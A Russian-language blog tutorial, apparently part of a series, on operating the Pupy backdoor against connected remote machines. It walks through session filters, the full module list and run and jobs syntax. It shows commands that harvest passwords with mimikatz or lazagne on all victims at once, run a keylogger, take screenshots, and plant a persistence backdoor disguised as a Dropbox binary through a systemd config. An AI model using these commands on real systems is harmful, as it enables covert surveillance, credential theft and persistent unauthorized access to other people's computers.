Как удалённо управлять компьютерами через бэкдор


Эта статья — продолжение инструкций по Pupy. Первые две части:

Работа с подключёнными сессиями

Команда sessions выполняет задачи, связанные с управлением сессиями:

  • вывод списка подключённых удалённых компьютеров
  • выбор сессии для отправки команды компьютеру
  • отключение от одного или сразу всех компьютеров

Использование:

sessions [-h] [-i <фильтр>] [-g] [-k ] [-K] [-d ] [-D]

Опциональные аргументы:

  -h, --help
  -i <фильтр>, --interact <фильтр>
                        изменить дефолтное значение --filter для других команд
  -g, --global-reset    сбросить --interact до стандартного глобального поведения
  -k <id>               Убить выбранную сессию
  -K                    Убить все сессии
  -d <id>               Сбросить соединение (резко закрыть сокет)
  -D                    Сбросить все соединения

По умолчанию все команды, которые вы вводите для выполнения на удалённых системах (запуск модулей) pupy выполняет сразу на всех подключённых клиентах. Благодаря этому можно, к примеру, одной командой запустить mimikatz на всех подключённых клиентах и собрать пароли сразу везде.

Чтобы вывести список сессий выполните команду:

sessions

Команды Pupy для выполнения на удалённом компьютере

На самом деле, правильно это называется не команды, а модули, поскольку, на самом деле, на удалённых компьютерах можно выполнять любые команды, которые поддерживают эти системы.

Что касается модулей — это в них собраны некоторые часто используемые команды, а также комбинированные действия, в том числе с использованием сторонних инструментов (например, для извлечения всех паролей).

Итак, начнём с обзора всех модулей.

Категория             Имя                Описание                                                                                                                           
------------------------------------------------------------------------------------------------------------------------------------------------------------
Администрирование     shares             Вывести список локальных и удалённых совместно используемых папок и разрешений
Администрирование     clear_logs         Очистить логи событий
Администрирование     wmic               Запрос к Wmi используя Wql
Администрирование     psh                Загрузить/Выполнить скрипты Powershell
Администрирование     ssh                Ssh клиент
Администрирование     rfs                Монтировать удалённую файловую систему как Fuse Fs к точке монтирования
Администрирование     reg                Поиск/Составление списка/Получение/Установка/Удаление Ключей/Значений регистра
Администрирование     smbspider          Обойти директории Smb и рекурсивно искать в файлах строку
Администрирование     shell_exec         Выполнить команды оболочки на удалённой системе
Администрирование     become             Стать пользователем
Администрирование     logs               Показать логи (или попытаться найти что-либо)
Администрирование     alive              Запрос для отправки пакетов Keepalive на уровне Rpyc
Администрирование     rdesktop           Запустить сессию удалённого рабочего стола используя Websocket клиент браузера
Администрирование     cp                 Скопировать файл или директорию
Администрирование     interactive_shell  Открыть интерактивную оболочку для команд с приятным Tty
Администрирование     rm                 Удалить файл или директорию
Администрирование     smb                Копировать файл через протокол Smb
Администрирование     hibernate          Закрыть сессию на время X часов
Администрирование     netstat            Вывести терминальные сессии
Администрирование     drives             Вывести список валидных дисков в системе
Администрирование     sshell             Интерактивный шелл Ssh
Администрирование     last               Список терминальных сессий
Администрирование     rdp                Включить / Отключить Rdp соединение или проверить валидность учётных данных на удалённом хосте
Администрирование     w                  Список терминальных сессий
Администрирование     getdomain          Получить Primary Domain Controller (Основной контроллер домена)
Администрирование     cd                 Поменять папку
Администрирование     date               Получить текущую дату
Администрирование     pexec              Выполнить команды оболочки неинтерактивно на удалённой системе в фоне используя Popen
Администрирование     ps                 Вывести список процессов
Администрирование     zip                Zip / Unzip (запаковать/распаковать) файл или директорию
Администрирование     mkdir              Создать пустую папку
Администрирование     dns                Получить доменное имя из IP и в обратную сторону
Администрирование     ls                 Вывести список системных файлов
Администрирование     psexec             Запустить удалённую команду используя Smbexec или Wmiexec
Администрирование     pwd                Узнать текущую рабочую директорию
Администрирование     pyexec             Выполнить код Python на удалённой системе
Администрирование     beroot             Проверить пути эскалации привилегий
Администрирование     cat                Показать содержимое файла
Администрирование     pyshell            Открыть интерактивную оболочку Python на удалённом клиенте
Администрирование     mv                 Переместить файл или директорию
Администрирование     display            Установить переменную Display
Администрирование     ip                 Вывести список интерфейсов
Администрирование     sudo_alias         Записать псевдоним для sudo для получения пользовательского пароля
Администрирование     igd                Клиент Upnp Igd
Администрирование     stat               Показать немного больше информации о файловом пути. В данный момент это Acls/Caps/Owner
Администрирование     http               Тривиальный Get/Post запрос через протокол Http
Администрирование     x509               Получить сертификат с сервера
Администрирование     getppid            Вывести информацию о родительском процессе
Администрирование     getpid             Вывести информацию о процессе
Администрирование     services           Вывести список служб
Администрирование     getuid             Получить имя пользователя
Учётные данные        loot_memory        Обход памяти процесса в поисках учётных данных в виде простого текста
Учётные данные        creddump           Загрузить Hives с удалённой системы Windows и собрать учётные данные
Учётные данные        lazagne            Получить хранимые на цели пароли
Учётные данные        mimipy             Запустить Mimipy для получения учётных данных из памяти
Учётные данные        memstrings         Получить печатные строки из памяти процесса для дальнейшего анализа
Эксплуатация          mimishell          Выполнить Mimikatz из памяти (Интерактивно)
Эксплуатация          mimikatz           Выполнить Mimikatz из памяти (не-интерактивно)
Эксплуатация          exploit_suggester  Подсказчик эксплойтов
Эксплуатация          shellcode_exec     Выполнить указанный шелл код (Shellcode) на клиенте
Эксплуатация          impersonate        Список токенов процессов
Сбор                  keylogger          Перехватчик нажатий клавиатуры (Keylogger) для мониторинга всех взаимодействий с клавиатурой, включая буфер обмена
Сбор                  hashmon            Попробовать найти в памяти пароли в виде простого текста
Сбор                  get_info           Получить информацию об одном или нескольких клиентах
Сбор                  contacts           Для получения контактов
Сбор                  isearch            Использовать Windows Search Index для поиска данных
Сбор                  search             Пройтись по директориям и рекурсивно искать строку в файлах
Сбор                  check_vm           Проверить, запущен ли клиент ли на виртуальной машине
Сбор                  outlook            Взаимодействие с сессией Outlook целевого пользователя
Сбор                  record_mic         Запись звука с микрофона!
Сбор                  pywerview          Переписать некоторую функциональность Powerview на Python
Сбор                  apps               Взаимодействие с менеджером приложений
Сбор                  call               Получить подробности о звонке
Сбор                  mouselogger        Ведение журналов клики мыши и получения скриншотов области вокруг них
Сбор                  powerview          Выполнить команды Powerview
Сбор                  get_hwuuid         Попробовать получить Uuid (Dmi) или Machine-Id (Dbus/Linux)
Сбор                  webcamsnap         Сделать снимок с веб-камеры
Сбор                  usniper            Глобальный захват строк или регистра во время выполнения
Сбор                  cloudinfo          Получить метаданные Ec2/Digitalocean
Сбор                  users              Получить интерактивного пользователя
Сбор                  screenshot         Сделать скриншот
Сбор                  ttyrec             Глобальный захват ввода/вывода на Tty. Совместима с ядрами
Сбор                  gpstracker         Для взаимодействия с GPS
Сбор                  exit               Выйти из клиента на другой стороне
Сбор                  process_kill       Убить процесс
Управление            edit               Локальное редактирование удалённого файла (Загрузка->Редактирование->Выгрузка)
Управление            upload             Выгрузка файла/Директории на удалённую систему
Управление            hide_process       Редактирование аргументы и окружение текущего процесса чтобы не выглядеть подозрительным
Управление            download           Загрузка файла/Директории с удалённой системы
Управление            getprivs           Управление привилегиями текущего процесса
Управление            tasks              Получить информацию о зарегистрированных фоновых задачах
Управление            memory_exec        Выполнить исполнимый файл в памяти
Управление            lock_screen        Заблокировать сессию
Управление            duplicate          Дуплицировать текущую полезную нагрузку Pupy выполнив её в памяти
Управление            load_package       Загрузить пакет Python на удалённый клиент. Файлы пакетов должны быть помещены в одну из папок с общим видом Pupy/Packages/<Os>/<Arch>/ Repository
Управление            migrate            Переместить Pupy в другой процесс используя Reflective Dll Injection
Управление            write              Записать короткую строку в файл
Управление            env                Вывести список/Получить/Установить/удалить переменные окружения клиента
Управление            persistence        Включить / Отключить закрепление в удалённой системе
Сеть                  port_scan          Запуск сканера Tcp портов
Сеть                  forward            Локальное/Удалённое перенаправление портов и Socks прокси
Сеть                  tcpdump            Модуль для воспроизведения некоторых классических функций инструмента Tcpdump
Повышение привилегий  getsystem          Пытается получить привилегии Nt Authority System
Повышение привилегий  bypassuac          Обход UAC, но будьте осторожны, большинство методов обхода выявляются антивирусами
Повышение привилегий  inveigh            Выполнить команды Inveigh
Повышение привилегий  privesc_checker    Скрипты повышения привилегий Linux
Троллинг              text_to_speach     Использовать генератор голоса (Text To Speach) на Android чтобы что-нибудь сказать
Троллинг              vibrate            Активация вибратора на телефоне/планшете
Троллинг              msgbox             Всплывающее окно с указанным сообщением

Для запуска команды нужно использовать ту строку, которая стоит в столбце «Имя».


К примеру, чтобы вывести список дисков во всех системах выполните команду:

drives

Чтобы получить справку по модулю, введите его имя с опцией -h. К примеру, я хочу узнать справку для модуля persistence (включение и отключение закрепления):

persistence -h

Использование:

persistence [-h] [-s] [-p ПОЛЕЗНАЯ НАГРУЗКА] [-n ИМЯ] [-m МЕТОД] [-l]
                   [--remove]

Опциональные аргументы:

  -h, --help    показать справку и выйти
  -s, --shared  предпочитать совместно используемые объекты (только linux)
  -p PAYLOAD    удалённый путь или команда для выполнения при входе (только windows)
  -n NAME       указать имя для использования (только windows)
  -m METHOD     должен быть ID, для получения списка доступных методов 
                выполните с опцией (-l) (только windows)
  -l            вывести список всех возможных техник для этого хоста (только windows)
  --remove      удалить закрепление

Пример создания на удалённой системе бэкдора, который будет запускаться при старте компьютера:

-------------------------------------------------------------------------------------------------------------------------------------------
>>                                  PupyClient(id=2, user=mial, hostname=HackWare, platform=Linux)                                       <<
-------------------------------------------------------------------------------------------------------------------------------------------

{ Configuration }
KEY            VALUE                              
--------------------------------------------------
launcher       connect                            
launcher_args  --host 192.168.1.53:43210 -t http  
cid            3263277090                         

[+] Required credentials (found)
  + SSL_BIND_CERT
  + SIMPLE_RSA_PRIV_KEY
  + SIMPLE_RSA_PUB_KEY
[+] Generating the payload with the current config from pupyx64.lin - size=3713536
[+] Dropped: /home/mial/.dropbox-dist/dropboxc Method: Systemd Config: /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf

Эта запись означает, что конфигурационный файл для автозапуска сохранён по пути /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf, а сам исполнимый файл сохранён в /home/mial/.dropbox-dist/dropboxc

Ещё несколько примеров.

Для просмотра информации о сетевых подключениях на удалённых системах:


netstat

Для извлечения всех паролей:

lazagne

Или:

mimikatz

Захватчик нажатий клавиш:

keylogger

Получение информации о системах:

get_info

Чтобы получить скриншоты рабочих столов удалённых компьютеров:

screenshot

Выполнение команд только на определённых удалённых системах

Можно переключаться между сессиями, например, чтобы переключиться на первую сессию, чтобы введённые команды выполнялись только на ней:

sessions -i 1

Необязательно указывать именно номер сессии — поддерживаются разнообразные фильтры, благодаря которым можно выбрать одну или сразу несколько систем. Например, для взаимодействия только со всеми Windows 7:

sessions -i 'platform:Windows release:7'

Поддерживается фильтрация по различным параметрам, вы сможете их все увидеть выполнив команду:

get_info

Используйте автодополнение!

При вводе команд, нажимайте клавишу TAB, чтобы дополнить имена команд и опций.

Экранируйте ваши аргументы

Каждая команда в оболочке pupy использует unix подобный синтаксис экранирования. Если вам нужен пробел в одном из ваших аргументов, вам нужно поместить ваш аргумент между кавычек:

shell_exec 'tasklist /V'

Если вы отправляете путь в Windows, вам нужно экранировать обратный слэш ещё одним — вторым обратным слэшем, либо всё поместить в кавычки:

download 'C:\Windows\System32\cmd.exe'

Или:

download C:\\Windows\\System32\\cmd.exe

Создавайте псевдонимы

Для повышения производительности можно указать псевдонимы модулей в файле pupy.conf. Если вы определяете псевдоним следующим образом:


shell=interactive_shell

то запуск команды

shell

будет эквивалентом запуску команды:

interactive_shell

Пример создания псевдонима для добавления команды убийства клиентского процесса pupy сигналом 9:

killme = pyexec -c 'import os;os.kill(os.getpid(),9)'

Работы

Работы (jobs) — это команды, запущенные в фоне. Некоторые модули, такие как socks5proxy или portfwd, автоматически запускают работы, но все модули могут быть запущены как работа, если использовать аргумент —bg:

run --bg shell_exec 'tasklist /V'
[%] job < shell_exec ['tasklist /V'] > started in background !

Использование:

jobs [-h] [-k  | -K ] [-l] [-p ]

Опциональные аргументы:

  -h, --help            показать справку и выйти
  -k <job_id>, --kill <job_id>
                        закрыть работу, но перед этим показать её текущий вывод
  -K <job_id>, --kill-no-output <job_id>
                        закрыть работу без показа вывода
  -l, --list            вывести список работ
  -p <job_id>, --print-output <job_id>
                        напечатать вывод работы

Переключатель --bg обычно используется, когда вы хотите выполнить длительную команду/модуль и хотите, чтобы по время её работы оболочка продолжала оставаться функциональной.

Вывод работы может быть получен в любой момент, используя команду

jobs -p

Командой jobs также можно выводить список работ и завершать работы.

Обычные работы могут быть установлены в вашем рабочем окружении Linux/Unix запуском вашего скрипта pupysh.py внутри утилиты Screen. Затем вы можете настроить cronjobs для запуска команды с любыми требуемыми вам интервалами. Замените 1674 вашим идентификатором сеанса экрана. Команда echo в этом примере по сути эмулирует нажатия клавиши Enter:

screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')

Команда run

Эта команда нужна для запуска модулей, но её можно пропускать, если вы не собираетесь использовать дополнительные возможности, такие как выполнение команды в фоне, сохранение результатов в файл и/или только для определённых клиентов.

Использование:

run [-h] [-1] [-o ВЫВОД] [-f <фильтр клиента>] [-b] <модуль> ...

Опции:

позиционные аргументы:
  <module>              модуль
  <arguments>           аргументы модуля

опциональные аргументы:
  -h, --help            показать справку и выйти
  -1, --once            Выгрузить новые депы после использования
  -o ВЫВОД, --output ВЫВОД
                        сохранить вывод команды в файл.%t — временная метка, %h - хост,
                        %m - MAC-адрес, %c — короткое имя клиента, %M — имя модуля, %p
                        - платформа, %u - пользователь, %a - IP адрес
  -f <фильтр клиента>, --filter <фильтр клиента>
                        выполнять на клиентах, подходящих под фильтр. Все
                        поля, по которым можно фильтровать, можно увидеть в модуле
                         "info". Например: run get_info -f 'platform:win release:7 os_arch:64'
  -b, --background      запустить в фоне

Ошибка ImportError: No module named minikerberos.asn1_structs

При запуске модуля

lazagne

появляются следующие сообщения:


2019-05-16 06:08:09,404| Compilation error: expected an indented block line: 		for mod in self.lsass_task.get_load_modules():
[!] Load pypykatz.commons.kerberosticket failed: Exception: No module named minikerberos.asn1_structs
[!] Error loading package pypykatz.commons.kerberosticket (pypykatz/commons/kerberosticket.pyo pkg=False) : No module named minikerberos.asn1_structs Traceback (most recent call last):
ImportError: No module named minikerberos.asn1_structs
[!] Load pypykatz.lsadecryptor.packages.kerberos.decryptor failed: Exception: No module named minikerberos.asn1_structs
[!] Error loading package pypykatz.lsadecryptor.packages.kerberos.decryptor (pypykatz/lsadecryptor/packages/kerberos/decryptor.pyo pkg=False) : No module named minikerberos.asn1_structs Traceback (most recent call last):
ImportError: No module named minikerberos.asn1_structs

Несмотря на эти сообщения, модуль работает штатно и извлекает пароли из удалённых систем. Объяснение от автора здесь: https://github.com/n1nj4sec/pupy/issues/750


Рекомендуется Вам:

One Comment to Как удалённо управлять компьютерами через бэкдор

  1. root:

    отличная статья, в прочем, как и все твои остальные. спасибо тебе 

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *